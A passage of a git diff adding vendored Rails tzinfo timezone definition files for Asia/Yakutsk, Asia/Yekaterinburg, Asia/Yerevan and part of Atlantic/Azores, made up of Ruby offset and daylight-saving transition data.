tz.transition 1986, 9, :o2, 528220800 + tz.transition 1987, 3, :o3, 543945600 + tz.transition 1987, 9, :o2, 559670400 + tz.transition 1988, 3, :o3, 575395200 + tz.transition 1988, 9, :o2, 591120000 + tz.transition 1989, 3, :o3, 606844800 + tz.transition 1989, 9, :o2, 622569600 + tz.transition 1990, 3, :o3, 638294400 + tz.transition 1990, 9, :o2, 654624000 + tz.transition 1991, 3, :o4, 670348800 + tz.transition 1991, 9, :o5, 686077200 + tz.transition 1992, 1, :o2, 695754000 + tz.transition 1992, 3, :o3, 701787600 + tz.transition 1992, 9, :o2, 717508800 + tz.transition 1993, 3, :o3, 733248000 + tz.transition 1993, 9, :o2, 748972800 + tz.transition 1994, 3, :o3, 764697600 + tz.transition 1994, 9, :o2, 780422400 + tz.transition 1995, 3, :o3, 796147200 + tz.transition 1995, 9, :o2, 811872000 + tz.transition 1996, 3, :o3, 828201600 + tz.transition 1996, 10, :o2, 846345600 + tz.transition 1997, 3, :o3, 859651200 + tz.transition 1997, 10, :o2, 877795200 + tz.transition 1998, 3, :o3, 891100800 + tz.transition 1998, 10, :o2, 909244800 + tz.transition 1999, 3, :o3, 922550400 + tz.transition 1999, 10, :o2, 941299200 + tz.transition 2000, 3, :o3, 954000000 + tz.transition 2000, 10, :o2, 972748800 + tz.transition 2001, 3, :o3, 985449600 + tz.transition 2001, 10, :o2, 1004198400 + tz.transition 2002, 3, :o3, 1017504000 + tz.transition 2002, 10, :o2, 1035648000 + tz.transition 2003, 3, :o3, 1048953600 + tz.transition 2003, 10, :o2, 1067097600 + tz.transition 2004, 3, :o3, 1080403200 + tz.transition 2004, 10, :o2, 1099152000 + tz.transition 2005, 3, :o3, 1111852800 + tz.transition 2005, 10, :o2, 1130601600 + tz.transition 2006, 3, :o3, 1143302400 + tz.transition 2006, 10, :o2, 1162051200 + tz.transition 2007, 3, :o3, 1174752000 + tz.transition 2007, 10, :o2, 1193500800 + tz.transition 2008, 3, :o3, 1206806400 + tz.transition 2008, 10, :o2, 1224950400 + tz.transition 2009, 3, :o3, 1238256000 + tz.transition 2009, 10, :o2, 1256400000 + tz.transition 2010, 3, :o3, 1269705600 + tz.transition 2010, 10, :o2, 1288454400 + tz.transition 2011, 3, :o3, 1301155200 + tz.transition 2011, 10, :o2, 1319904000 + tz.transition 2012, 3, :o3, 1332604800 + tz.transition 2012, 10, :o2, 1351353600 + tz.transition 2013, 3, :o3, 1364659200 + tz.transition 2013, 10, :o2, 1382803200 + tz.transition 2014, 3, :o3, 1396108800 + tz.transition 2014, 10, :o2, 1414252800 + tz.transition 2015, 3, :o3, 1427558400 + tz.transition 2015, 10, :o2, 1445702400 + tz.transition 2016, 3, :o3, 1459008000 + tz.transition 2016, 10, :o2, 1477756800 + tz.transition 2017, 3, :o3, 1490457600 + tz.transition 2017, 10, :o2, 1509206400 + tz.transition 2018, 3, :o3, 1521907200 + tz.transition 2018, 10, :o2, 1540656000 + tz.transition 2019, 3, :o3, 1553961600 + tz.transition 2019, 10, :o2, 1572105600 + tz.transition 2020, 3, :o3, 1585411200 + tz.transition 2020, 10, :o2, 1603555200 + tz.transition 2021, 3, :o3, 1616860800 + tz.transition 2021, 10, :o2, 1635609600 + tz.transition 2022, 3, :o3, 1648310400 + tz.transition 2022, 10, :o2, 1667059200 + tz.transition 2023, 3, :o3, 1679760000 + tz.transition 2023, 10, :o2, 1698508800 + tz.transition 2024, 3, :o3, 1711814400 + tz.transition 2024, 10, :o2, 1729958400 + tz.transition 2025, 3, :o3, 1743264000 + tz.transition 2025, 10, :o2, 1761408000 + tz.transition 2026, 3, :o3, 1774713600 + tz.transition 2026, 10, :o2, 1792857600 + tz.transition 2027, 3, :o3, 1806163200 + tz.transition 2027, 10, :o2, 1824912000 + tz.transition 2028, 3, :o3, 1837612800 + tz.transition 2028, 10, :o2, 1856361600 + tz.transition 2029, 3, :o3, 1869062400 + tz.transition 2029, 10, :o2, 1887811200 + tz.transition 2030, 3, :o3, 1901116800 + tz.transition 2030, 10, :o2, 1919260800 + tz.transition 2031, 3, :o3, 1932566400 + tz.transition 2031, 10, :o2, 1950710400 + tz.transition 2032, 3, :o3, 1964016000 + tz.transition 2032, 10, :o2, 1982764800 + tz.transition 2033, 3, :o3, 1995465600 + tz.transition 2033, 10, :o2, 2014214400 + tz.transition 2034, 3, :o3, 2026915200 + tz.transition 2034, 10, :o2, 2045664000 + tz.transition 2035, 3, :o3, 2058364800 + tz.transition 2035, 10, :o2, 2077113600 + tz.transition 2036, 3, :o3, 2090419200 + tz.transition 2036, 10, :o2, 2108563200 + tz.transition 2037, 3, :o3, 2121868800 + tz.transition 2037, 10, :o2, 2140012800 + tz.transition 2038, 3, :o3, 14793061, 6 + tz.transition 2038, 10, :o2, 14794363, 6 + tz.transition 2039, 3, :o3, 14795245, 6 + tz.transition 2039, 10, :o2, 14796547, 6 + tz.transition 2040, 3, :o3, 14797429, 6 + tz.transition 2040, 10, :o2, 14798731, 6 + tz.transition 2041, 3, :o3, 14799655, 6 + tz.transition 2041, 10, :o2, 14800915, 6 + tz.transition 2042, 3, :o3, 14801839, 6 + tz.transition 2042, 10, :o2, 14803099, 6 + tz.transition 2043, 3, :o3, 14804023, 6 + tz.transition 2043, 10, :o2, 14805283, 6 + tz.transition 2044, 3, :o3, 14806207, 6 + tz.transition 2044, 10, :o2, 14807509, 6 + tz.transition 2045, 3, :o3, 14808391, 6 + tz.transition 2045, 10, :o2, 14809693, 6 + tz.transition 2046, 3, :o3, 14810575, 6 + tz.transition 2046, 10, :o2, 14811877, 6 + tz.transition 2047, 3, :o3, 14812801, 6 + tz.transition 2047, 10, :o2, 14814061, 6 + tz.transition 2048, 3, :o3, 14814985, 6 + tz.transition 2048, 10, :o2, 14816245, 6 + tz.transition 2049, 3, :o3, 14817169, 6 + tz.transition 2049, 10, :o2, 14818471, 6 + tz.transition 2050, 3, :o3, 14819353, 6 + tz.transition 2050, 10, :o2, 14820655, 6 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yakutsk.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yakutsk.rb new file mode 100644 index 00000000..56435a78 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yakutsk.rb @@ -0,0 +1,163 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Yakutsk + include TimezoneDefinition + + timezone 'Asia/Yakutsk' do |tz| + tz.offset :o0, 31120, 0, :LMT + tz.offset :o1, 28800, 0, :YAKT + tz.offset :o2, 32400, 0, :YAKT + tz.offset :o3, 32400, 3600, :YAKST + tz.offset :o4, 28800, 3600, :YAKST + + tz.transition 1919, 12, :o1, 2616091711, 1080 + tz.transition 1930, 6, :o2, 14556889, 6 + tz.transition 1981, 3, :o3, 354898800 + tz.transition 1981, 9, :o2, 370706400 + tz.transition 1982, 3, :o3, 386434800 + tz.transition 1982, 9, :o2, 402242400 + tz.transition 1983, 3, :o3, 417970800 + tz.transition 1983, 9, :o2, 433778400 + tz.transition 1984, 3, :o3, 449593200 + tz.transition 1984, 9, :o2, 465325200 + tz.transition 1985, 3, :o3, 481050000 + tz.transition 1985, 9, :o2, 496774800 + tz.transition 1986, 3, :o3, 512499600 + tz.transition 1986, 9, :o2, 528224400 + tz.transition 1987, 3, :o3, 543949200 + tz.transition 1987, 9, :o2, 559674000 + tz.transition 1988, 3, :o3, 575398800 + tz.transition 1988, 9, :o2, 591123600 + tz.transition 1989, 3, :o3, 606848400 + tz.transition 1989, 9, :o2, 622573200 + tz.transition 1990, 3, :o3, 638298000 + tz.transition 1990, 9, :o2, 654627600 + tz.transition 1991, 3, :o4, 670352400 + tz.transition 1991, 9, :o1, 686080800 + tz.transition 1992, 1, :o2, 695757600 + tz.transition 1992, 3, :o3, 701791200 + tz.transition 1992, 9, :o2, 717512400 + tz.transition 1993, 3, :o3, 733251600 + tz.transition 1993, 9, :o2, 748976400 + tz.transition 1994, 3, :o3, 764701200 + tz.transition 1994, 9, :o2, 780426000 + tz.transition 1995, 3, :o3, 796150800 + tz.transition 1995, 9, :o2, 811875600 + tz.transition 1996, 3, :o3, 828205200 + tz.transition 1996, 10, :o2, 846349200 + tz.transition 1997, 3, :o3, 859654800 + tz.transition 1997, 10, :o2, 877798800 + tz.transition 1998, 3, :o3, 891104400 + tz.transition 1998, 10, :o2, 909248400 + tz.transition 1999, 3, :o3, 922554000 + tz.transition 1999, 10, :o2, 941302800 + tz.transition 2000, 3, :o3, 954003600 + tz.transition 2000, 10, :o2, 972752400 + tz.transition 2001, 3, :o3, 985453200 + tz.transition 2001, 10, :o2, 1004202000 + tz.transition 2002, 3, :o3, 1017507600 + tz.transition 2002, 10, :o2, 1035651600 + tz.transition 2003, 3, :o3, 1048957200 + tz.transition 2003, 10, :o2, 1067101200 + tz.transition 2004, 3, :o3, 1080406800 + tz.transition 2004, 10, :o2, 1099155600 + tz.transition 2005, 3, :o3, 1111856400 + tz.transition 2005, 10, :o2, 1130605200 + tz.transition 2006, 3, :o3, 1143306000 + tz.transition 2006, 10, :o2, 1162054800 + tz.transition 2007, 3, :o3, 1174755600 + tz.transition 2007, 10, :o2, 1193504400 + tz.transition 2008, 3, :o3, 1206810000 + tz.transition 2008, 10, :o2, 1224954000 + tz.transition 2009, 3, :o3, 1238259600 + tz.transition 2009, 10, :o2, 1256403600 + tz.transition 2010, 3, :o3, 1269709200 + tz.transition 2010, 10, :o2, 1288458000 + tz.transition 2011, 3, :o3, 1301158800 + tz.transition 2011, 10, :o2, 1319907600 + tz.transition 2012, 3, :o3, 1332608400 + tz.transition 2012, 10, :o2, 1351357200 + tz.transition 2013, 3, :o3, 1364662800 + tz.transition 2013, 10, :o2, 1382806800 + tz.transition 2014, 3, :o3, 1396112400 + tz.transition 2014, 10, :o2, 1414256400 + tz.transition 2015, 3, :o3, 1427562000 + tz.transition 2015, 10, :o2, 1445706000 + tz.transition 2016, 3, :o3, 1459011600 + tz.transition 2016, 10, :o2, 1477760400 + tz.transition 2017, 3, :o3, 1490461200 + tz.transition 2017, 10, :o2, 1509210000 + tz.transition 2018, 3, :o3, 1521910800 + tz.transition 2018, 10, :o2, 1540659600 + tz.transition 2019, 3, :o3, 1553965200 + tz.transition 2019, 10, :o2, 1572109200 + tz.transition 2020, 3, :o3, 1585414800 + tz.transition 2020, 10, :o2, 1603558800 + tz.transition 2021, 3, :o3, 1616864400 + tz.transition 2021, 10, :o2, 1635613200 + tz.transition 2022, 3, :o3, 1648314000 + tz.transition 2022, 10, :o2, 1667062800 + tz.transition 2023, 3, :o3, 1679763600 + tz.transition 2023, 10, :o2, 1698512400 + tz.transition 2024, 3, :o3, 1711818000 + tz.transition 2024, 10, :o2, 1729962000 + tz.transition 2025, 3, :o3, 1743267600 + tz.transition 2025, 10, :o2, 1761411600 + tz.transition 2026, 3, :o3, 1774717200 + tz.transition 2026, 10, :o2, 1792861200 + tz.transition 2027, 3, :o3, 1806166800 + tz.transition 2027, 10, :o2, 1824915600 + tz.transition 2028, 3, :o3, 1837616400 + tz.transition 2028, 10, :o2, 1856365200 + tz.transition 2029, 3, :o3, 1869066000 + tz.transition 2029, 10, :o2, 1887814800 + tz.transition 2030, 3, :o3, 1901120400 + tz.transition 2030, 10, :o2, 1919264400 + tz.transition 2031, 3, :o3, 1932570000 + tz.transition 2031, 10, :o2, 1950714000 + tz.transition 2032, 3, :o3, 1964019600 + tz.transition 2032, 10, :o2, 1982768400 + tz.transition 2033, 3, :o3, 1995469200 + tz.transition 2033, 10, :o2, 2014218000 + tz.transition 2034, 3, :o3, 2026918800 + tz.transition 2034, 10, :o2, 2045667600 + tz.transition 2035, 3, :o3, 2058368400 + tz.transition 2035, 10, :o2, 2077117200 + tz.transition 2036, 3, :o3, 2090422800 + tz.transition 2036, 10, :o2, 2108566800 + tz.transition 2037, 3, :o3, 2121872400 + tz.transition 2037, 10, :o2, 2140016400 + tz.transition 2038, 3, :o3, 59172245, 24 + tz.transition 2038, 10, :o2, 59177453, 24 + tz.transition 2039, 3, :o3, 59180981, 24 + tz.transition 2039, 10, :o2, 59186189, 24 + tz.transition 2040, 3, :o3, 59189717, 24 + tz.transition 2040, 10, :o2, 59194925, 24 + tz.transition 2041, 3, :o3, 59198621, 24 + tz.transition 2041, 10, :o2, 59203661, 24 + tz.transition 2042, 3, :o3, 59207357, 24 + tz.transition 2042, 10, :o2, 59212397, 24 + tz.transition 2043, 3, :o3, 59216093, 24 + tz.transition 2043, 10, :o2, 59221133, 24 + tz.transition 2044, 3, :o3, 59224829, 24 + tz.transition 2044, 10, :o2, 59230037, 24 + tz.transition 2045, 3, :o3, 59233565, 24 + tz.transition 2045, 10, :o2, 59238773, 24 + tz.transition 2046, 3, :o3, 59242301, 24 + tz.transition 2046, 10, :o2, 59247509, 24 + tz.transition 2047, 3, :o3, 59251205, 24 + tz.transition 2047, 10, :o2, 59256245, 24 + tz.transition 2048, 3, :o3, 59259941, 24 + tz.transition 2048, 10, :o2, 59264981, 24 + tz.transition 2049, 3, :o3, 59268677, 24 + tz.transition 2049, 10, :o2, 59273885, 24 + tz.transition 2050, 3, :o3, 59277413, 24 + tz.transition 2050, 10, :o2, 59282621, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yekaterinburg.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yekaterinburg.rb new file mode 100644 index 00000000..8ef8df4a --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yekaterinburg.rb @@ -0,0 +1,165 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Yekaterinburg + include TimezoneDefinition + + timezone 'Asia/Yekaterinburg' do |tz| + tz.offset :o0, 14544, 0, :LMT + tz.offset :o1, 14400, 0, :SVET + tz.offset :o2, 18000, 0, :SVET + tz.offset :o3, 18000, 3600, :SVEST + tz.offset :o4, 14400, 3600, :SVEST + tz.offset :o5, 18000, 0, :YEKT + tz.offset :o6, 18000, 3600, :YEKST + + tz.transition 1919, 7, :o1, 1453292699, 600 + tz.transition 1930, 6, :o2, 7278445, 3 + tz.transition 1981, 3, :o3, 354913200 + tz.transition 1981, 9, :o2, 370720800 + tz.transition 1982, 3, :o3, 386449200 + tz.transition 1982, 9, :o2, 402256800 + tz.transition 1983, 3, :o3, 417985200 + tz.transition 1983, 9, :o2, 433792800 + tz.transition 1984, 3, :o3, 449607600 + tz.transition 1984, 9, :o2, 465339600 + tz.transition 1985, 3, :o3, 481064400 + tz.transition 1985, 9, :o2, 496789200 + tz.transition 1986, 3, :o3, 512514000 + tz.transition 1986, 9, :o2, 528238800 + tz.transition 1987, 3, :o3, 543963600 + tz.transition 1987, 9, :o2, 559688400 + tz.transition 1988, 3, :o3, 575413200 + tz.transition 1988, 9, :o2, 591138000 + tz.transition 1989, 3, :o3, 606862800 + tz.transition 1989, 9, :o2, 622587600 + tz.transition 1990, 3, :o3, 638312400 + tz.transition 1990, 9, :o2, 654642000 + tz.transition 1991, 3, :o4, 670366800 + tz.transition 1991, 9, :o1, 686095200 + tz.transition 1992, 1, :o5, 695772000 + tz.transition 1992, 3, :o6, 701805600 + tz.transition 1992, 9, :o5, 717526800 + tz.transition 1993, 3, :o6, 733266000 + tz.transition 1993, 9, :o5, 748990800 + tz.transition 1994, 3, :o6, 764715600 + tz.transition 1994, 9, :o5, 780440400 + tz.transition 1995, 3, :o6, 796165200 + tz.transition 1995, 9, :o5, 811890000 + tz.transition 1996, 3, :o6, 828219600 + tz.transition 1996, 10, :o5, 846363600 + tz.transition 1997, 3, :o6, 859669200 + tz.transition 1997, 10, :o5, 877813200 + tz.transition 1998, 3, :o6, 891118800 + tz.transition 1998, 10, :o5, 909262800 + tz.transition 1999, 3, :o6, 922568400 + tz.transition 1999, 10, :o5, 941317200 + tz.transition 2000, 3, :o6, 954018000 + tz.transition 2000, 10, :o5, 972766800 + tz.transition 2001, 3, :o6, 985467600 + tz.transition 2001, 10, :o5, 1004216400 + tz.transition 2002, 3, :o6, 1017522000 + tz.transition 2002, 10, :o5, 1035666000 + tz.transition 2003, 3, :o6, 1048971600 + tz.transition 2003, 10, :o5, 1067115600 + tz.transition 2004, 3, :o6, 1080421200 + tz.transition 2004, 10, :o5, 1099170000 + tz.transition 2005, 3, :o6, 1111870800 + tz.transition 2005, 10, :o5, 1130619600 + tz.transition 2006, 3, :o6, 1143320400 + tz.transition 2006, 10, :o5, 1162069200 + tz.transition 2007, 3, :o6, 1174770000 + tz.transition 2007, 10, :o5, 1193518800 + tz.transition 2008, 3, :o6, 1206824400 + tz.transition 2008, 10, :o5, 1224968400 + tz.transition 2009, 3, :o6, 1238274000 + tz.transition 2009, 10, :o5, 1256418000 + tz.transition 2010, 3, :o6, 1269723600 + tz.transition 2010, 10, :o5, 1288472400 + tz.transition 2011, 3, :o6, 1301173200 + tz.transition 2011, 10, :o5, 1319922000 + tz.transition 2012, 3, :o6, 1332622800 + tz.transition 2012, 10, :o5, 1351371600 + tz.transition 2013, 3, :o6, 1364677200 + tz.transition 2013, 10, :o5, 1382821200 + tz.transition 2014, 3, :o6, 1396126800 + tz.transition 2014, 10, :o5, 1414270800 + tz.transition 2015, 3, :o6, 1427576400 + tz.transition 2015, 10, :o5, 1445720400 + tz.transition 2016, 3, :o6, 1459026000 + tz.transition 2016, 10, :o5, 1477774800 + tz.transition 2017, 3, :o6, 1490475600 + tz.transition 2017, 10, :o5, 1509224400 + tz.transition 2018, 3, :o6, 1521925200 + tz.transition 2018, 10, :o5, 1540674000 + tz.transition 2019, 3, :o6, 1553979600 + tz.transition 2019, 10, :o5, 1572123600 + tz.transition 2020, 3, :o6, 1585429200 + tz.transition 2020, 10, :o5, 1603573200 + tz.transition 2021, 3, :o6, 1616878800 + tz.transition 2021, 10, :o5, 1635627600 + tz.transition 2022, 3, :o6, 1648328400 + tz.transition 2022, 10, :o5, 1667077200 + tz.transition 2023, 3, :o6, 1679778000 + tz.transition 2023, 10, :o5, 1698526800 + tz.transition 2024, 3, :o6, 1711832400 + tz.transition 2024, 10, :o5, 1729976400 + tz.transition 2025, 3, :o6, 1743282000 + tz.transition 2025, 10, :o5, 1761426000 + tz.transition 2026, 3, :o6, 1774731600 + tz.transition 2026, 10, :o5, 1792875600 + tz.transition 2027, 3, :o6, 1806181200 + tz.transition 2027, 10, :o5, 1824930000 + tz.transition 2028, 3, :o6, 1837630800 + tz.transition 2028, 10, :o5, 1856379600 + tz.transition 2029, 3, :o6, 1869080400 + tz.transition 2029, 10, :o5, 1887829200 + tz.transition 2030, 3, :o6, 1901134800 + tz.transition 2030, 10, :o5, 1919278800 + tz.transition 2031, 3, :o6, 1932584400 + tz.transition 2031, 10, :o5, 1950728400 + tz.transition 2032, 3, :o6, 1964034000 + tz.transition 2032, 10, :o5, 1982782800 + tz.transition 2033, 3, :o6, 1995483600 + tz.transition 2033, 10, :o5, 2014232400 + tz.transition 2034, 3, :o6, 2026933200 + tz.transition 2034, 10, :o5, 2045682000 + tz.transition 2035, 3, :o6, 2058382800 + tz.transition 2035, 10, :o5, 2077131600 + tz.transition 2036, 3, :o6, 2090437200 + tz.transition 2036, 10, :o5, 2108581200 + tz.transition 2037, 3, :o6, 2121886800 + tz.transition 2037, 10, :o5, 2140030800 + tz.transition 2038, 3, :o6, 19724083, 8 + tz.transition 2038, 10, :o5, 19725819, 8 + tz.transition 2039, 3, :o6, 19726995, 8 + tz.transition 2039, 10, :o5, 19728731, 8 + tz.transition 2040, 3, :o6, 19729907, 8 + tz.transition 2040, 10, :o5, 19731643, 8 + tz.transition 2041, 3, :o6, 19732875, 8 + tz.transition 2041, 10, :o5, 19734555, 8 + tz.transition 2042, 3, :o6, 19735787, 8 + tz.transition 2042, 10, :o5, 19737467, 8 + tz.transition 2043, 3, :o6, 19738699, 8 + tz.transition 2043, 10, :o5, 19740379, 8 + tz.transition 2044, 3, :o6, 19741611, 8 + tz.transition 2044, 10, :o5, 19743347, 8 + tz.transition 2045, 3, :o6, 19744523, 8 + tz.transition 2045, 10, :o5, 19746259, 8 + tz.transition 2046, 3, :o6, 19747435, 8 + tz.transition 2046, 10, :o5, 19749171, 8 + tz.transition 2047, 3, :o6, 19750403, 8 + tz.transition 2047, 10, :o5, 19752083, 8 + tz.transition 2048, 3, :o6, 19753315, 8 + tz.transition 2048, 10, :o5, 19754995, 8 + tz.transition 2049, 3, :o6, 19756227, 8 + tz.transition 2049, 10, :o5, 19757963, 8 + tz.transition 2050, 3, :o6, 19759139, 8 + tz.transition 2050, 10, :o5, 19760875, 8 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yerevan.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yerevan.rb new file mode 100644 index 00000000..e7f16086 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yerevan.rb @@ -0,0 +1,165 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Yerevan + include TimezoneDefinition + + timezone 'Asia/Yerevan' do |tz| + tz.offset :o0, 10680, 0, :LMT + tz.offset :o1, 10800, 0, :YERT + tz.offset :o2, 14400, 0, :YERT + tz.offset :o3, 14400, 3600, :YERST + tz.offset :o4, 10800, 3600, :YERST + tz.offset :o5, 10800, 3600, :AMST + tz.offset :o6, 10800, 0, :AMT + tz.offset :o7, 14400, 0, :AMT + tz.offset :o8, 14400, 3600, :AMST + + tz.transition 1924, 5, :o1, 1745213311, 720 + tz.transition 1957, 2, :o2, 19487187, 8 + tz.transition 1981, 3, :o3, 354916800 + tz.transition 1981, 9, :o2, 370724400 + tz.transition 1982, 3, :o3, 386452800 + tz.transition 1982, 9, :o2, 402260400 + tz.transition 1983, 3, :o3, 417988800 + tz.transition 1983, 9, :o2, 433796400 + tz.transition 1984, 3, :o3, 449611200 + tz.transition 1984, 9, :o2, 465343200 + tz.transition 1985, 3, :o3, 481068000 + tz.transition 1985, 9, :o2, 496792800 + tz.transition 1986, 3, :o3, 512517600 + tz.transition 1986, 9, :o2, 528242400 + tz.transition 1987, 3, :o3, 543967200 + tz.transition 1987, 9, :o2, 559692000 + tz.transition 1988, 3, :o3, 575416800 + tz.transition 1988, 9, :o2, 591141600 + tz.transition 1989, 3, :o3, 606866400 + tz.transition 1989, 9, :o2, 622591200 + tz.transition 1990, 3, :o3, 638316000 + tz.transition 1990, 9, :o2, 654645600 + tz.transition 1991, 3, :o4, 670370400 + tz.transition 1991, 9, :o5, 685569600 + tz.transition 1991, 9, :o6, 686098800 + tz.transition 1992, 3, :o5, 701812800 + tz.transition 1992, 9, :o6, 717534000 + tz.transition 1993, 3, :o5, 733273200 + tz.transition 1993, 9, :o6, 748998000 + tz.transition 1994, 3, :o5, 764722800 + tz.transition 1994, 9, :o6, 780447600 + tz.transition 1995, 3, :o5, 796172400 + tz.transition 1995, 9, :o7, 811897200 + tz.transition 1997, 3, :o8, 859672800 + tz.transition 1997, 10, :o7, 877816800 + tz.transition 1998, 3, :o8, 891122400 + tz.transition 1998, 10, :o7, 909266400 + tz.transition 1999, 3, :o8, 922572000 + tz.transition 1999, 10, :o7, 941320800 + tz.transition 2000, 3, :o8, 954021600 + tz.transition 2000, 10, :o7, 972770400 + tz.transition 2001, 3, :o8, 985471200 + tz.transition 2001, 10, :o7, 1004220000 + tz.transition 2002, 3, :o8, 1017525600 + tz.transition 2002, 10, :o7, 1035669600 + tz.transition 2003, 3, :o8, 1048975200 + tz.transition 2003, 10, :o7, 1067119200 + tz.transition 2004, 3, :o8, 1080424800 + tz.transition 2004, 10, :o7, 1099173600 + tz.transition 2005, 3, :o8, 1111874400 + tz.transition 2005, 10, :o7, 1130623200 + tz.transition 2006, 3, :o8, 1143324000 + tz.transition 2006, 10, :o7, 1162072800 + tz.transition 2007, 3, :o8, 1174773600 + tz.transition 2007, 10, :o7, 1193522400 + tz.transition 2008, 3, :o8, 1206828000 + tz.transition 2008, 10, :o7, 1224972000 + tz.transition 2009, 3, :o8, 1238277600 + tz.transition 2009, 10, :o7, 1256421600 + tz.transition 2010, 3, :o8, 1269727200 + tz.transition 2010, 10, :o7, 1288476000 + tz.transition 2011, 3, :o8, 1301176800 + tz.transition 2011, 10, :o7, 1319925600 + tz.transition 2012, 3, :o8, 1332626400 + tz.transition 2012, 10, :o7, 1351375200 + tz.transition 2013, 3, :o8, 1364680800 + tz.transition 2013, 10, :o7, 1382824800 + tz.transition 2014, 3, :o8, 1396130400 + tz.transition 2014, 10, :o7, 1414274400 + tz.transition 2015, 3, :o8, 1427580000 + tz.transition 2015, 10, :o7, 1445724000 + tz.transition 2016, 3, :o8, 1459029600 + tz.transition 2016, 10, :o7, 1477778400 + tz.transition 2017, 3, :o8, 1490479200 + tz.transition 2017, 10, :o7, 1509228000 + tz.transition 2018, 3, :o8, 1521928800 + tz.transition 2018, 10, :o7, 1540677600 + tz.transition 2019, 3, :o8, 1553983200 + tz.transition 2019, 10, :o7, 1572127200 + tz.transition 2020, 3, :o8, 1585432800 + tz.transition 2020, 10, :o7, 1603576800 + tz.transition 2021, 3, :o8, 1616882400 + tz.transition 2021, 10, :o7, 1635631200 + tz.transition 2022, 3, :o8, 1648332000 + tz.transition 2022, 10, :o7, 1667080800 + tz.transition 2023, 3, :o8, 1679781600 + tz.transition 2023, 10, :o7, 1698530400 + tz.transition 2024, 3, :o8, 1711836000 + tz.transition 2024, 10, :o7, 1729980000 + tz.transition 2025, 3, :o8, 1743285600 + tz.transition 2025, 10, :o7, 1761429600 + tz.transition 2026, 3, :o8, 1774735200 + tz.transition 2026, 10, :o7, 1792879200 + tz.transition 2027, 3, :o8, 1806184800 + tz.transition 2027, 10, :o7, 1824933600 + tz.transition 2028, 3, :o8, 1837634400 + tz.transition 2028, 10, :o7, 1856383200 + tz.transition 2029, 3, :o8, 1869084000 + tz.transition 2029, 10, :o7, 1887832800 + tz.transition 2030, 3, :o8, 1901138400 + tz.transition 2030, 10, :o7, 1919282400 + tz.transition 2031, 3, :o8, 1932588000 + tz.transition 2031, 10, :o7, 1950732000 + tz.transition 2032, 3, :o8, 1964037600 + tz.transition 2032, 10, :o7, 1982786400 + tz.transition 2033, 3, :o8, 1995487200 + tz.transition 2033, 10, :o7, 2014236000 + tz.transition 2034, 3, :o8, 2026936800 + tz.transition 2034, 10, :o7, 2045685600 + tz.transition 2035, 3, :o8, 2058386400 + tz.transition 2035, 10, :o7, 2077135200 + tz.transition 2036, 3, :o8, 2090440800 + tz.transition 2036, 10, :o7, 2108584800 + tz.transition 2037, 3, :o8, 2121890400 + tz.transition 2037, 10, :o7, 2140034400 + tz.transition 2038, 3, :o8, 29586125, 12 + tz.transition 2038, 10, :o7, 29588729, 12 + tz.transition 2039, 3, :o8, 29590493, 12 + tz.transition 2039, 10, :o7, 29593097, 12 + tz.transition 2040, 3, :o8, 29594861, 12 + tz.transition 2040, 10, :o7, 29597465, 12 + tz.transition 2041, 3, :o8, 29599313, 12 + tz.transition 2041, 10, :o7, 29601833, 12 + tz.transition 2042, 3, :o8, 29603681, 12 + tz.transition 2042, 10, :o7, 29606201, 12 + tz.transition 2043, 3, :o8, 29608049, 12 + tz.transition 2043, 10, :o7, 29610569, 12 + tz.transition 2044, 3, :o8, 29612417, 12 + tz.transition 2044, 10, :o7, 29615021, 12 + tz.transition 2045, 3, :o8, 29616785, 12 + tz.transition 2045, 10, :o7, 29619389, 12 + tz.transition 2046, 3, :o8, 29621153, 12 + tz.transition 2046, 10, :o7, 29623757, 12 + tz.transition 2047, 3, :o8, 29625605, 12 + tz.transition 2047, 10, :o7, 29628125, 12 + tz.transition 2048, 3, :o8, 29629973, 12 + tz.transition 2048, 10, :o7, 29632493, 12 + tz.transition 2049, 3, :o8, 29634341, 12 + tz.transition 2049, 10, :o7, 29636945, 12 + tz.transition 2050, 3, :o8, 29638709, 12 + tz.transition 2050, 10, :o7, 29641313, 12 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Azores.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Azores.rb new file mode 100644 index 00000000..1bd16a75 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Azores.rb @@ -0,0 +1,270 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Atlantic + module Azores + include TimezoneDefinition + + timezone 'Atlantic/Azores' do |tz| + tz.offset :o0, -6160, 0, :LMT + tz.offset :o1, -6872, 0, :HMT + tz.offset :o2, -7200, 0, :AZOT + tz.offset :o3, -7200, 3600, :AZOST + tz.offset :o4, -7200, 7200, :AZOMT + tz.offset :o5, -3600, 0, :AZOT + tz.offset :o6, -3600, 3600, :AZOST + tz.offset :o7, 0, 0, :WET + + tz.transition 1884, 1, :o1, 2601910697, 1080 + tz.transition 1911, 5, :o2, 26127150259, 10800 + tz.transition 1916, 6, :o3, 58104781, 24 + tz.transition 1916, 11, :o2, 29054023, 12 + tz.transition 1917, 3, :o3, 58110925, 24 + tz.transition 1917, 10, :o2, 58116397, 24 + tz.transition 1918, 3, :o3, 58119709, 24 + tz.transition 1918, 10, :o2, 58125157, 24 + tz.transition 